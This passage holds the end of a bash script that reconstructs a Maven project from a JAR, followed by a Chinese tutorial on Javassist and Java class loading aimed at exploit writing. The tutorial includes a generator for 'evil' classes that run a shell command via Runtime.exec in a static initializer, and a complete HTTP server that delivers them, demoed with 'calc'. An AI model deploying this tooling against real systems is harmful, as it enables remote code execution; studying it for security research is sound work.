find "${STAGE}" -maxdepth 1 -type f -name '*.jar' ! -name 'app.bin' -exec cp {} "${LIB}/" \; 2>/dev/null || true

### ====== 读取坐标(GAV)并分类 ======
# 记录为 TSV:jarpath\tgroupId\tartifactId\tversion
TMP_GAV="${STAGE}/_gav.tsv"
: > "${TMP_GAV}"

gav_from_jar(){
local j="$1"
# 找 pom.properties
local props
props="$(list_zip "$j" | grep -m1 '^META-INF/maven/.*/pom\.properties$' || true)"
if [[ -n "$props" ]]; then
# 提取并读内容
local tmpd="${STAGE}/_props"
rm -rf "$tmpd"; mkdir -p "$tmpd"
extract_one "$j" "$props" "$tmpd"
local g a v
g="$(grep -m1 '^groupId=' "${tmpd}/${props}" 2>/dev/null | cut -d= -f2- || true)"
a="$(grep -m1 '^artifactId=' "${tmpd}/${props}" 2>/dev/null | cut -d= -f2- || true)"
v="$(grep -m1 '^version=' "${tmpd}/${props}" 2>/dev/null | cut -d= -f2- || true)"
g="$(trim "${g:-}")"; a="$(trim "${a:-}")"; v="$(trim "${v:-}")"
if [[ -n "$g" && -n "$a" && -n "$v" ]]; then
printf "%s\t%s\t%s\t%s\n" "$j" "$g" "$a" "$v"
return 0
fi
fi
# 读不到就返回空坐标
printf "%s\t\t\t\n" "$j"
}

# 遍历 lib
if compgen -G "${LIB}/*.jar" >/dev/null; then
for j in "${LIB}/"*.jar; do
gav_from_jar "$j" >> "${TMP_GAV}"
done
fi

# 去重策略:
# - 有坐标的:以 "groupId:artifactId" 去重,保留第一条
# - 无坐标的:以文件名去重
TMP_GAV_U="${STAGE}/_gav_u.tsv"
awk -F'\t' '
function key(g,a,fn){ if(g!=""&&a!="") return "G:" g ":" a; else return "F:" fn; }
{
fn=$1; g=$2; a=$3; v=$4;
k=key(g,a,fn);
if(!(k in seen)){ seen[k]=1; print $0; }
}
' "${TMP_GAV}" > "${TMP_GAV_U}"

### ====== 嵌入式 POM(若存在) ======
EMBED_POM=""
if [[ -z "${EMBED_POM}" ]]; then
# 优先 Fat JAR/META-INF/maven
if compgen -G "${STAGE}/META-INF/maven/*/*/pom.xml" >/dev/null; then
EMBED_POM="$(ls -1 "${STAGE}/META-INF/maven/"*/*/pom.xml | head -n1 || true)"
fi
fi

# 主 POM 选择
USE_EMBED_AS_MAIN="false"
if [[ -n "${EMBED_POM}" && "${POM_MODE}" == "prefer-embedded" ]]; then
USE_EMBED_AS_MAIN="true"
fi

### ====== 生成 POM(auto / offline),并处理 WAR 的 provided 依赖 ======
GROUP_ID="recovered.project"; ARTIFACT_ID="app-recovered"; VERSION="1.0-SNAPSHOT"
PACKAGING="jar"; [[ "${IS_WAR}" == "true" ]] && PACKAGING="war"

# 如果有嵌入 POM,读出 GAV/packaging(尽量不失败)
if [[ -n "${EMBED_POM}" ]]; then
ok "Found embedded POM: ${EMBED_POM}"
cp -f "${EMBED_POM}" "${PROJ}/pom.original.xml"
# 简单解析(不强求)
G="$(grep -m1 '<groupId>' "${EMBED_POM}" | sed -E 's/.*<groupId>([^<]+).*/\1/' || true)"
A="$(grep -m1 '<artifactId>' "${EMBED_POM}" | sed -E 's/.*<artifactId>([^<]+).*/\1/' || true)"
V="$(grep -m1 '<version>' "${EMBED_POM}" | sed -E 's/.*<version>([^<]+).*/\1/' || true)"
P="$(grep -m1 '<packaging>' "${EMBED_POM}" | sed -E 's/.*<packaging>([^<]+).*/\1/' || true)"
[[ -n "$G" ]] && GROUP_ID="$G"
[[ -n "$A" ]] && ARTIFACT_ID="$A"
[[ -n "$V" ]] && VERSION="$V"
[[ -n "$P" ]] && PACKAGING="$P"
fi

POM_AUTO="${PROJ}/pom.auto.xml"
POM_OFF="${PROJ}/pom.offline.xml"
POM_MAIN="${PROJ}/pom.xml" # 最终主 POM(由 POM_MODE 决定)

write_build_plugins(){
# $1=packaging
local pk="$1"
cat <<EOF
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.11.0</version>
<configuration>
<release>\${maven.compiler.release}</release>
<encoding>\${project.build.sourceEncoding}</encoding>
<compilerArgs>
<arg>-Xlint:-options</arg>
</compilerArgs>
</configuration>
</plugin>
EOF
if [[ "$pk" == "war" ]]; then
cat <<'EOF'
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-war-plugin</artifactId>
<version>3.3.2</version>
<configuration>
<failOnMissingWebXml>false</failOnMissingWebXml>
<warSourceDirectory>src/main/webapp</warSourceDirectory>
</configuration>
</plugin>
EOF
fi
cat <<'EOF'
</plugins>
</build>
EOF
}

# 生成 pom.auto.xml(在线友好 + 指定前缀强制 systemPath)
ok "Generate ${POM_AUTO}"
{
cat <<EOF
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>${GROUP_ID}</groupId>
<artifactId>${ARTIFACT_ID}</artifactId>
<version>${VERSION}</version>
<packaging>${PACKAGING}</packaging>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.release>${JAVA_RELEASE}</maven.compiler.release>
</properties>
<dependencies>
EOF

# WAR 注入 provided
if [[ "${PACKAGING}" == "war" ]]; then
cat <<'EOF'
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>javax.servlet.jsp</groupId>
<artifactId>javax.servlet.jsp-api</artifactId>
<version>2.3.1</version>
<scope>provided</scope>
</dependency>
EOF
fi

# 遍历依赖
while IFS=$'\t' read -r jar g a v; do
base="$(basename "$jar")"
name="${base%.jar}"
# 若无坐标,用文件名猜版本
if [[ -z "$g" || -z "$a" || -z "$v" ]]; then
guess_v="${name##*-}"
guess_a="${name%-${guess_v}}"
if [[ -z "$guess_a" || "$guess_a" == "$name" ]]; then
guess_a="$name"; guess_v="1.0"
fi
g="local.libs"; a="$guess_a"; v="$guess_v"
# 直接 systemPath
cat <<EOF
<dependency>
<groupId>${g}</groupId>
<artifactId>${a}</artifactId>
<version>${v}</version>
<scope>system</scope>
<systemPath>\${project.basedir}/lib/${base}</systemPath>
</dependency>
EOF
else
# 有坐标:命中前缀 => 强制 systemPath;否则正常坐标
if should_systemize "$g"; then
cat <<EOF
<dependency>
<groupId>${g}</groupId>
<artifactId>${a}</artifactId>
<version>${v}</version>
<scope>system</scope>
<systemPath>\${project.basedir}/lib/${base}</systemPath>
</dependency>
EOF
else
cat <<EOF
<dependency>
<groupId>${g}</groupId>
<artifactId>${a}</artifactId>
<version>${v}</version>
</dependency>
EOF
fi
fi
done < "${TMP_GAV_U}"

cat <<'EOF'
</dependencies>
EOF
write_build_plugins "${PACKAGING}"
cat <<'EOF'
</project>
EOF
} > "${POM_AUTO}"

# 生成 pom.offline.xml(全部 systemPath)
ok "Generate ${POM_OFF} (ALL systemPath)"
{
cat <<EOF
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>${GROUP_ID}</groupId>
<artifactId>${ARTIFACT_ID}</artifactId>
<version>${VERSION}</version>
<packaging>${PACKAGING}</packaging>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.release>${JAVA_RELEASE}</maven.compiler.release>
</properties>
<dependencies>
EOF

for j in "${LIB}/"*.jar; do
[[ -e "$j" ]] || continue
base="$(basename "$j")"
# 从去重后的 TSV 找坐标
line="$(grep -F $'\t'"${base}"$'\t' "${TMP_GAV_U}" || true)"
if [[ -z "$line" ]]; then
# 直接猜
name="${base%.jar}"; v="${name##*-}"; a="${name%-${v}}"
[[ -z "$a" || "$a" == "$name" ]] && { a="$name"; v="1.0"; }
g="local.libs"
else
# 重新定位该 jar 的 GAV
g="$(awk -F'\t' -v b="$base" '$1 ~ b {print $2; exit}' "${TMP_GAV_U}")"
a="$(awk -F'\t' -v b="$base" '$1 ~ b {print $3; exit}' "${TMP_GAV_U}")"
v="$(awk -F'\t' -v b="$base" '$1 ~ b {print $4; exit}' "${TMP_GAV_U}")"
[[ -z "$g" ]] && g="local.libs"
if [[ -z "$a" || -z "$v" ]]; then
name="${base%.jar}"; v2="${name##*-}"; a2="${name%-${v2}}"
[[ -z "$a2" || "$a2" == "$name" ]] && { a2="$name"; v2="1.0"; }
[[ -z "$a" ]] && a="$a2"; [[ -z "$v" ]] && v="$v2"
fi
fi
cat <<EOF
<dependency>
<groupId>${g}</groupId>
<artifactId>${a}</artifactId>
<version>${v}</version>
<scope>system</scope>
<systemPath>\${project.basedir}/lib/${base}</systemPath>
</dependency>
EOF
done

# WAR 注入 provided
if [[ "${PACKAGING}" == "war" ]]; then
cat <<'EOF'
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>javax.servlet.jsp</groupId>
<artifactId>javax.servlet.jsp-api</artifactId>
<version>2.3.1</version>
<scope>provided</scope>
</dependency>
EOF
fi

cat <<'EOF'
</dependencies>
EOF
write_build_plugins "${PACKAGING}"
cat <<'EOF'
</project>
EOF
} > "${POM_OFF}"

# 主 POM 落地:prefer-embedded => 用原生;auto => 用 pom.auto.xml
if [[ "${USE_EMBED_AS_MAIN}" == "true" ]]; then
ok "Use embedded POM as project/pom.xml (per POM_MODE=prefer-embedded)"
cp -f "${PROJ}/pom.original.xml" "${POM_MAIN}"
else
ok "Use auto POM as project/pom.xml (per POM_MODE=${POM_MODE})"
cp -f "${POM_AUTO}" "${POM_MAIN}"
fi

### ====== 可选 Gradle 离线 ======
if [[ "${GEN_GRADLE_OFFLINE}" == "true" ]]; then
ok "Generate Gradle offline files"
cat > "${PROJ}/settings.gradle" <<'SG'
rootProject.name = 'app-recovered'
SG
cat > "${PROJ}/build.gradle.offline" <<'BG'
plugins { id 'java' }
repositories { mavenCentral() }
dependencies { implementation fileTree(dir: 'lib', include: ['*.jar']) }
java { toolchain { languageVersion = JavaLanguageVersion.of(8) } }
BG
sed -i.bak "s/LanguageVersion.of(8)/LanguageVersion.of(${JAVA_RELEASE})/g" "${PROJ}/build.gradle.offline" 2>/dev/null || true
[[ "${PACKAGING}" == "war" ]] && echo "apply plugin: 'war'" >> "${PROJ}/build.gradle.offline"
fi

### ====== README ======
cat > "${PROJ}/README-restore.md" <<'MD'
# Restore Notes

- 源码:`src/main/java`(如下载了 `cfr.jar` 且未禁用反编译)
- 资源:`src/main/resources`(Spring Boot 的 `templates/`、`static/`、`public/`、`META-INF/resources/` 已映射)
- WAR:静态/JSP => `src/main/webapp`;`WEB-INF` 下除 `classes/lib` 外的配置也已复制
- 依赖:
- `pom.xml` —— 主 POM(按 POM_MODE:原生或 auto)
- `pom.auto.xml` —— 在线友好:能识别坐标的写标准 `<dependency>`;命中 `SYSTEMIZE_PREFIXES` 或无坐标的写 `systemPath`
- `pom.offline.xml` —— 完全离线:`lib/` 里所有 JAR 以 `systemPath` 挂载
- (可选)`build.gradle.offline` —— 全离线构建(`fileTree('lib')`)

## 构建
- 在线/私服(优先原生 POM):`mvn -q -DskipTests package`
- 使用自动 POM:`mvn -q -DskipTests -f pom.auto.xml package`
- 完全离线:`mvn -q -DskipTests -f pom.offline.xml package`

## 运行(Spring Boot)
- `mvn spring-boot:run` 或 `java -jar target/*.jar`
MD

### ====== 总结 ======
ok "DONE."
echo " Packaging: $([[ "${IS_WAR}" == "true" ]] && echo WAR || ( [[ "${IS_BOOT}" == "true" ]] && echo SpringBoot || echo JAR ))"
echo " Project: ${PROJ}"
echo " POMs: pom.xml (main), pom.auto.xml, pom.offline.xml"

Java 字节码

字节码动态生成

在编写 exp 的时候会涉及恶意类的字节码,为了方便动态修改参数通常我们会选择动态生成字节码,而不是分别编译恶意类和 exp。

Javassist 是一个开源的字节码操作库,能够在运行时对 Java 类的字节码进行修改。如果你使用 Maven 作为构建工具,可以在 pom.xml 文件中添加以下依赖来引入 Javassist:

1
2
3
4
5
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.29.0-GA</version>
</dependency>

Javassist 封装了复杂的字节码操作,使得开发者可以通过更简单的 API 进行字节码生成、修改、方法插桩等操作。不过这里我们主要用到的就是 Javassist 的字节码生成功能。

获取 ClassPool 实例

ClassPool 是一个类池,它用于存储已经加载或创建的类的字节码。通过 ClassPool,你可以创建新的类,修改现有类,或者从池中获取已加载的类。

1
2
// 获取默认的 ClassPool 实例
ClassPool pool = ClassPool.getDefault();
  • ClassPool.getDefault() 方法返回一个全局的 ClassPool 实例,这是最常用的获取方式。ClassPool 默认会使用一些常见的类路径进行初始化。
  • ClassPool 本质上是一个类字节码的存储池,所有的类都会保存在这里。

创建一个新的类

通过 ClassPool 创建一个新的类,可以使用 makeClass 方法,这个方法会返回一个 CtClass 对象,表示一个新的类。

1
2
// 创建一个新的类,名为 "HelloWorld"
CtClass ctClass = pool.makeClass("HelloWorld");

CtClassJavassist 中表示类的对象,可以将其看作是 Java 类的抽象表示。你可以通过 CtClass 操作类的字段、方法、构造器等。

向类中添加属性

创建字段

你可以为新创建的类添加字段(属性)。字段的类型、名称以及访问修饰符都可以在创建时指定。

1
2
3
4
// 创建一个公共的 String 类型的字段 "message"
CtField field = new CtField(pool.get("java.lang.String"), "message", ctClass);
field.setModifiers(Modifier.PUBLIC); // 设置字段为公共字段
ctClass.addField(field); // 将字段添加到类中
  • CtField 表示类中的一个字段。构造方法需要指定字段的类型、字段名和所属的类。
  • Modifier.PUBLIC:用于指定字段的访问修饰符,可以是 publicprivateprotected 等。
  • addField():将创建的字段添加到类中。

创建方法

你可以使用 CtMethod 类来表示方法,并通过 CtMethod.make() 或直接调用构造方法来创建方法。

1
2
3
4
// 创建一个公共的无参数方法 sayHello,打印 message 字段的值
CtMethod method = CtMethod.make(
"public void sayHello() { System.out.println(message); }", ctClass);
ctClass.addMethod(method); // 将方法添加到类中
  • CtMethod.make() 用于从源代码字符串创建一个方法。你可以将方法的代码(作为字符串)传递给 make() 方法。
  • addMethod():将方法添加到类中。

当然也可以定义一个带参数的 sayHello(String name),其中字符串里就是完整的 Java 方法源码,Javassist 会帮你编译。

1
2
3
4
CtMethod method = CtMethod.make(
"public void sayHello(String name) { System.out.println(message + \", \" + name); }",
ctClass);
ctClass.addMethod(method);

提示

CtMethod.make("源码字符串", ctClass) 只能用来生成方法。它内部会把你写的源码解析成一个 CtMethod 对象,然后挂到 ctClass 上。也就是说,它只适合 普通方法(有参 / 无参、静态 / 实例方法都可以)。

如果你想动态指定参数类型,不用写源码字符串,可以这么写:

1
2
3
4
5
6
7
8
9
10
11
12
13
// 定义方法签名:返回类型 void,方法名 sayHello,参数类型 String
CtMethod method = new CtMethod(
CtClass.voidType, // 返回类型
"sayHello", // 方法名
new CtClass[]{pool.get("java.lang.String")}, // 参数类型数组
ctClass // 所属类
);

// 设置方法体
method.setBody("{ System.out.println(message + \", \" + $1); }");

// 添加到类中
ctClass.addMethod(method);

这里有几个关键点:

  • CtClass.voidType 表示返回类型是 void
  • new CtClass[]{...} 里放方法参数类型,可以多个,比如 Stringint 等。
  • 方法体里的 $1 表示第一个参数(类似 $2 表示第二个参数)。

创建构造方法

为了初始化类的字段,通常会创建一个构造方法。Javassist 提供了 CtConstructor 类用于构造方法的生成。

1
2
3
4
// 创建一个带参数的构造方法,接受一个 String 类型的参数并赋值给 message 字段
CtConstructor constructor = new CtConstructor(new CtClass[]{pool.get("java.lang.String")}, ctClass);
constructor.setBody("{ this.message = $1; }"); // 设置构造方法的实现
ctClass.addConstructor(constructor); // 将构造方法添加到类中
  • CtConstructor:表示类中的一个构造方法。构造方法的参数类型通过 CtClass 数组传递,方法体通过 setBody() 设置。

  • $1:表示构造方法的第一个参数(在 setBody() 中的 $1 对应构造方法传入的参数。另外普通函数直接源码构建,不需要这么写)。

注意

因为在字节码规范里,构造方法 <init> 和普通方法是不一样的,所以 CtMethod.make("...源码...", ctClass) 只能解析普通方法。构造函数必须用 CtConstructor 创建,不能像方法一样直接用源码字符串。

虽然没有 CtConstructor.make(...),但 CtConstructor.setBody("{ ... }") 的参数就是一段源码字符串(方法体),所以写法上也很接近。

生成字节码

现在我们已经定义好了类的字段、方法和构造方法,接下来需要生成类的字节码。CtClass 提供了 toBytecode() 方法,来将类转化为字节码。

1
2
// 获取字节码
byte[] bytecode = ctClass.toBytecode();

例如我们可以实现一个 getEvilClass 函数来动态生成恶意类的字节码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static byte[] getEvilClass(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("EvilClass");

CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");
ctClass.addConstructor(constructor);

ctClass.getClassFile().setMajorVersion(49);

// 设置父类为 AbstractTranslet
// CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
// ctClass.setSuperclass(superC);

return ctClass.toBytecode();
}

也可以将恶意代码放到静态代码块中,这样就可以直接在类加载的时候触发。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static byte[] getEvilClass(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("EvilClass");

CtConstructor clinit = ctClass.makeClassInitializer();
clinit.setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }");

ctClass.getClassFile().setMajorVersion(49);

// 设置父类为 AbstractTranslet
// CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
// ctClass.setSuperclass(superC);

return ctClass.toBytecode();
}

通常有些场景需要我们开启 HTTP 服务监听指定端口并返回恶意类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpServer;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.nio.charset.StandardCharsets;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.regex.Pattern;

public class EvilClassServer {
// 你也可以保留固定端口:改这里即可
// 运行态
private static volatile HttpServer server;
private static volatile ExecutorService executor;
private static volatile String fixedCmd;

// 简单类名校验(允许 $ 方便生成内部类名)
private static final Pattern SIMPLE_CLASS = Pattern.compile("[A-Za-z_$][A-Za-z0-9_$]*");

/** 指定端口启动后台监听;cmd 为类初始化时要执行的命令 */
public static synchronized void listen(int port, String cmd) throws Exception {
if (server != null) {
throw new IllegalStateException("Server is already running");
}
fixedCmd = cmd;

server = HttpServer.create(new InetSocketAddress(port), 0);
server.createContext("/", he -> {
long t0 = System.nanoTime();
int status = 200;
long bytes = 0;
try {
String name = extractClassNameFromPath(he);
if (name == null || !SIMPLE_CLASS.matcher(name).matches()) {
byte[] body = "ERR: invalid class name; use /<Name> or /<Name>.class"
.getBytes(StandardCharsets.UTF_8);
status = 400;
he.getResponseHeaders().set("Content-Type", "text/plain; charset=utf-8");
he.sendResponseHeaders(status, body.length);
try (OutputStream os = he.getResponseBody()) { os.write(body); }
bytes = body.length;
return;
}

byte[] clazz = buildClassBytes(name, fixedCmd);
bytes = clazz.length;
he.getResponseHeaders().set("Content-Type", "application/java-vm");
he.getResponseHeaders().set("Cache-Control", "no-store");
he.getResponseHeaders().set("Content-Disposition",
"inline; filename=\"" + name + ".class\"");
he.sendResponseHeaders(status, bytes);
try (OutputStream os = he.getResponseBody()) { os.write(clazz); }
} catch (Exception e) {
byte[] msg = ("ERR: " + e).getBytes(StandardCharsets.UTF_8);
status = 500;
he.getResponseHeaders().set("Content-Type", "text/plain; charset=utf-8");
he.sendResponseHeaders(status, msg.length);
try (OutputStream os = he.getResponseBody()) { os.write(msg); }
bytes = msg.length;
} finally {
long ms = (System.nanoTime() - t0) / 1_000_000L;
logAccess(he, status, bytes, ms);
he.close();
}
});

executor = Executors.newCachedThreadPool();
server.setExecutor(executor);
server.start();
System.out.printf("[*] Listening on http://0.0.0.0:%d/<Name>[.class] (cmd=\"%s\")%n",
port, fixedCmd);
}

/** 停止服务并回收线程池 */
public static synchronized void stop() {
if (server == null) {
System.out.println("[*] Already stopped.");
return;
}
try {
server.stop(0); // 立即停止接收新连接
} finally {
server = null;
if (executor != null) {
executor.shutdownNow();
executor = null;
}
System.out.println("[*] Server stopped.");
}
}

// ===== 工具方法 =====

private static byte[] buildClassBytes(String className, String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass(className);
CtConstructor clinit = ctClass.makeClassInitializer();
String safeCmd = cmd.replace("\\", "\\\\").replace("\"", "\\\"");
clinit.setBody("{ java.lang.Runtime.getRuntime().exec(\"" + safeCmd + "\"); }");
// 维持与原实现一致(Java 5,major=49),方便目标 JVM 兼容
ctClass.getClassFile().setMajorVersion(49);
byte[] bytes = ctClass.toBytecode();
ctClass.detach();
return bytes;
}

private static String extractClassNameFromPath(HttpExchange he) {
String path = he.getRequestURI() != null ? he.getRequestURI().getPath() : null;
if (path == null || path.isEmpty() || "/".equals(path)) return null;
// 去尾斜杠
while (path.endsWith("/") && path.length() > 1) path = path.substring(0, path.length() - 1);
int idx = path.lastIndexOf('/');
String last = (idx >= 0) ? path.substring(idx + 1) : path;
if (last.isEmpty()) return null;
if (last.endsWith(".class")) last = last.substring(0, last.length() - 6);
return last;
}

private static void logAccess(HttpExchange he, int status, long bytes, long ms) {
String time = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss.SSS").format(new Date());
String client = he.getRemoteAddress() != null ? he.getRemoteAddress().toString() : "-";
String method = he.getRequestMethod();
String path = he.getRequestURI() != null ? he.getRequestURI().toString() : "/";
String proto = he.getProtocol();
String ua = he.getRequestHeaders().getFirst("User-Agent");
String ref = he.getRequestHeaders().getFirst("Referer");
System.out.printf("[%s] %s \"%s %s %s\" %d %dB %dms UA=\"%s\" Ref=\"%s\"%n",
time, client, method, path, proto, status, bytes, ms,
ua != null ? ua : "-", ref != null ? ref : "-");
}

public static void pause() {
pause("Press Enter to continue...");
}

public static void pause(String prompt) {
System.out.print(prompt);
System.out.flush();
try {
new java.io.BufferedReader(
new java.io.InputStreamReader(System.in)
).readLine(); // 等待用户回车
} catch (Exception ignored) {}
}

public static void main(String[] args)throws Exception {
EvilClassServer.listen(9999,"calc");
EvilClassServer.pause();
EvilClassServer.stop();
}
}

字节码动态修改

获取指定类的字节码

代码中获取类的字节码

1
2
String b64 = Base64.getEncoder().encodeToString(Repository.lookupClass(MyClass.class).getBytes());
System.out.println(b64);

获取动态生成的类的字节码

类加载机制

在 Java 中,类的加载是指将 .class 文件的字节码加载到 JVM 的内存中并进行相应的处理。类加载是 Java 程序启动的一个重要步骤,而类的初始化是确保类在第一次使用时能正常工作的一部分。

类的加载和初始化是通过 类加载器(ClassLoader) 来完成的,类加载器负责加载类文件,并将其转换为可以在 JVM 中使用的 Class 对象。

Java 虚拟机规范并没有指明二进制字节流要从一个 Class 文件获取,或者说根本没有指明从哪里获取、怎样获取。这种开放性使得 Java 在很多领域得到充分运用,例如:

  • 从ZIP包中读取:这很常见,成为 JAR,EAR,WAR 格式的基础。
  • 从网络中获取:最典型的应用就是 Applet。
  • 运行时计算生成:最典型的是动态代理技术,在 java.lang.reflect.Proxy 中,就是用了 ProxyGenerator.generateProxyClass 来为特定接口生成形式为 $Proxy 的代理类的二进制字节流。
  • 由其他文件生成:最典型的 JSP 应用,由 JSP 文件生成对应的 Class 类。

类加载的过程

类加载过程包括 加载(Loading)链接(Linking)初始化(Initialization) 三个阶段。

加载(Loading)

加载阶段是将类的字节码从文件系统(或其他来源)读取到内存中,并且将其转换成一个 Class 对象的过程。此时,JVM 并不会执行类中的任何代码,仅仅是将字节码加载到内存中。加载过程包括:

  • 通过类的全限定名获从文件系统、JAR 包、网络等不同的源查找类的字节码。
  • 类加载器将字节码代表的静态存储结构转化为方法区(在 Java 8 之后,“方法区” 实现变成了 元空间 Metaspace,但概念上没变)的运行时数据结构。
  • 在内存中生成一个代表该类的 java.lang.Class 对象,作为方法区这个类的各种数据的访问入口。

链接(Linking)

类加载(Loading) 阶段,JVM 只是把类的字节码文件读进来,转成了内存中的运行时数据结构(Class 对象)。但要让这个类真正能被 JVM 正确执行,还需要对它做进一步的处理,这就是 链接(Linking) 阶段。

链接就是把“纯字节码数据”变成“可执行的、合法的、可互操作的类” 的过程,它包括:

验证(Verification)

检查类文件的字节码是否合法且符合 JVM 的规范,确保字节码不会破坏 JVM 的安全性。

准备(Preparation)

为类的静态变量分配内存,并将其初始化为默认值(如 0、null、false 等)。

解析(Resolution)

将常量池中的符号引用(如类名、方法名、字段名)替换为直接引用(即实际的内存地址)。

这一步是懒惰的,即 JVM 规范允许解析在初始化之后延迟进行;HotSpot 通常会在首次使用符号引用时才解析。

初始化(Initialization)

类初始化相关结构

static 变量

类级别,与实例无关;同一 ClassLoader 中只有一份。在“准备”阶段先置默认值;若有显式初始化(非常量表达式),会在 <clinit> 里按源码顺序执行。

1
2
3
4
5
6
7
[ClassLoader #1]
└─ Class Demo
├─ static int s ---> [ 单一存储格 ] ← Demo.s / a.s / b.s 都指向它
└─ (class元数据...)

├─ 对象 a : { int x; ... } // 没有自己的 s
└─ 对象 b : { int x; ... } // 也没有自己的 s
  • 准备(Preparation)阶段:JVM 为 static 字段分配存储并设默认值(数值型=0,引用=null,boolean=false…)。

  • 初始化(Initialization)阶段:执行 <clinit>(由静态字段的显式赋值 + static {}按源码顺序合成),把上面的默认值更新为你写在代码里的初始值。

    • 例:static int s = f();static { s = g(); } 都在 <clinit> 里执行,每个 ClassLoader 仅一次

提示

在容器(如 Tomcat)里,不同 WebApp 的类由不同的 ClassLoader加载;每个加载器有自己的一份 static 存储。这就是热部署/多应用下“看起来又初始化了一次”的原因。

static final 变量

分两类:

  • 编译期常量(constant variable)

    • 形态:public static final 原始类型String,且右值是编译期常量表达式(如字面量或纯常量算式)
    • 不会触发初始化:其他类读取它时,通常早已内联进自己的常量池
    • 在“准备”阶段就通过 ConstantValue 直接设为该值
  • 非常量(运行期求值)

    • 形态:static final Integer X = Integer.valueOf(42);static final int Y = foo();
    • 需要在 <clinit> 执行赋值;读取它会触发类初始化

final 的语义:只能赋值一次。对引用来说,引用一旦指向某对象就不能再指向别的对象,但对象内容(若本身可变)仍可变。

静态代码块 static { ... }

静态代码块中的代码会合并进 <clinit>,和静态字段的显式赋值一起按源码顺序执行,并且每个 ClassLoader 只执行一次。在代码块中只能访问静态成员;不能使用 this,若抛出异常,初始化失败,该类在该 ClassLoader 下将“损坏”,后续使用会得到 NoClassDefFoundError

没有 static 声明的是实例初始化块 / 非静态初始化块({ ... }),这种代码块中的代码在每次 new 对象、在父类构造完成之后当前类构造器体之前执行。也就是说每创建一个实例就执行一次(所有构造器都会执行它),并且在代码块中可以用 this,可访问实例字段/方法。

类初始化的操作

类初始化阶段的主要动作包括:

  • 执行类中的静态代码块(static {}

    • JVM 会把所有静态代码块合并到 <clinit> 方法里,保证只执行一次。执行顺序与代码在源文件中出现的顺序一致。

      <clinit> 其实是 JVM 在类加载过程中 自动生成的一个特殊方法,全称是 Class Initializer(类初始化方法)。JVM 会在类初始化阶段调用该方法一次。

  • 静态变量的初始化

    • 如果静态变量有显式赋值语句,就在 <clinit> 方法里执行赋值。
    • 如果没有赋值,则保持在链接阶段中的准备阶段时的默认值(0nullfalse 等)。
    • 静态变量赋值和静态代码块会按源文件中的顺序依次执行。

注意

要注意类初始化对象初始化概念的区分,二者的含义是不同的。

  • 类初始化:执行 <clinit>(静态变量赋值 + 静态代码块),只会执行一次,发生在“类的首次主动使用”时。

  • 构造函数:是 <init>,在创建对象时执行,可以执行多次,每 new 一个实例就会执行一次。

也就是说构造函数是用于创建类实例的函数,构造函数的执行与类的初始化无关。构造函数只会在 实例化类时才会执行,而不是在类的加载和初始化时。即只有在通过 new 操作符或反射机制创建实例时,才会调用构造函数。

触发类初始化的事件

初始化阶段是类加载的最后一步,它发生在类的首次使用时。具体来说,触发初始化的典型时机有下面几种:

  • 访问类的静态变量(不是 final 常量):当访问类的某个非编译期常量的静态变量时,必须触发类初始化。

    1
    2
    3
    4
    5
    6
    7
    8
    class A {
    static int x = 10; // 非 final
    }
    public class Test {
    public static void main(String[] args) {
    System.out.println(A.x); // 触发 A 初始化
    }
    }

    注意

    static final 编译期常量不会触发初始化,因为常量值在编译阶段就会放进调用类的常量池里。

    1
    2
    3
    4
    5
    6
    7
    8
    class B {
    static final int CONST = 100; // 编译期常量
    }
    public class Test {
    public static void main(String[] args) {
    System.out.println(B.CONST); // 不触发 B 初始化
    }
    }
  • 调用类的静态方法 :调用类中的静态方法时,必须先初始化类。
